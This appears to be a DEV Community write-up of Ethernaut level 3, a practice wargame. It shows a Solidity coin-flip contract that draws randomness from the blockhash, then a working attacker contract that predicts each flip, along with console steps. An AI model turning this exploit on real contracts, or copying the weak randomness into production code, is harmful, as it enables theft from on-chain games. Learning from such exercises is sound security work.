DEV Community

Cover image for Ethernaut Hacks Level 3: Coin Flip
Naveen ⚡
Naveen ⚡

Posted on • Updated on

Ethernaut Hacks Level 3: Coin Flip

This is the level 3 of Ethernaut game.

Pre-requisites

  • Blocks in Ethereum blockchain
  • Solidity - interacting with a deployed contract at an address. Read this or better watch this

Hack

Given contract:

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract CoinFlip {

  using SafeMath for uint256;
  uint256 public consecutiveWins;
  uint256 lastHash;
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

  constructor() public {
    consecutiveWins = 0;
  }

  function flip(bool _guess) public returns (bool) {
    uint256 blockValue = uint256(blockhash(block.number.sub(1)));

    if (lastHash == blockValue) {
      revert();
    }

    lastHash = blockValue;
    uint256 coinFlip = blockValue.div(FACTOR);
    bool side = coinFlip == 1 ? true : false;

    if (side == _guess) {
      consecutiveWins++;
      return true;
    } else {
      consecutiveWins = 0;
      return false;
    }
  }
}
Enter fullscreen mode Exit fullscreen mode

Basically, we need to predict outcome of coin flip correctly 10 times in a row to win.

The contract given tries to simulate random coin flip by generating true or false using the block number of network (Ropsten in our case). But this is not actually really random! You can very easily query the network to see the current block number.

Turns out random number generation is one of the serious pitfalls of blockchains due to deterministic nature. That's why there are dedicated services for the purpose like Chainlink VRF.

Since this block number can be easily accessible, we can also generate the result of coin flip and feed this result to flip function to have a correct guess and increment consecutiveWins. We are able to do this because block time of the network will be long enough so that block.number doesn't change between function calls.

We'll write a solidity contract (on Remix IDE) with almost same coin-flip generation code CoinFlipGuess & call the flip of given CoinFlip contract at deployed instance address, with already determined result of flip:

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

interface ICoinFlip {
    function flip(bool _guess) external returns (bool);
}

contract CoinFlipGuess {
    uint256 public consecutiveWins = 0;
    uint256 lastHash;
    uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

    function coinFlipGuess(address _coinFlipAddr) external returns (uint256) {
        uint256 blockValue = uint256(blockhash(block.number - 1));

        if (lastHash == blockValue) {
          revert();
        }

        lastHash = blockValue;
        uint256 coinFlip = blockValue / FACTOR;
        bool side = coinFlip == 1 ? true : false;

        bool isRight = ICoinFlip(_coinFlipAddr).flip(side);
        if (isRight) {
            consecutiveWins++;
        } else {
            consecutiveWins = 0;
        }

        return consecutiveWins;
    }
}
Enter fullscreen mode Exit fullscreen mode

I'm keeping track of consecutiveWins in CoinFlipGuess too and returning it from coinFlipGuess, just so that I can see it increasing.

Remember to deploy the above contract on Ropsten network because the target - CoinFlip is on Ropsten too.

Get the instance address of give CoinFlip instance, so that we can give it to coinFlipGuess as param:

contract.address()

// Output: <your-instance-address>
Enter fullscreen mode Exit fullscreen mode

Now, simply call coinFlipGuess method (on Remix) with <your-instance-address> as only parameter, 10 times with successful transaction.

Go back to console and query consecutiveWins from CoinFlip instance:

await contract.consecutiveWins().then(v => v.toString())

// Output: '10'
Enter fullscreen mode Exit fullscreen mode

You may be tempted to run a loop to call coinFlipGuess 10 times automatically, but it won't work because of the guard if statement in CoinFlip:


if (lastHash == blockValue) {
   revert();
}
Enter fullscreen mode Exit fullscreen mode

The invocation will revert if block number was same as in previous invocation. Since lastHash / blockValue is derived from block.number.

Game rigged successfully.

Learned something awesome? Consider starring the github repo 😄

and following me on twitter here 🙏

Top comments (0)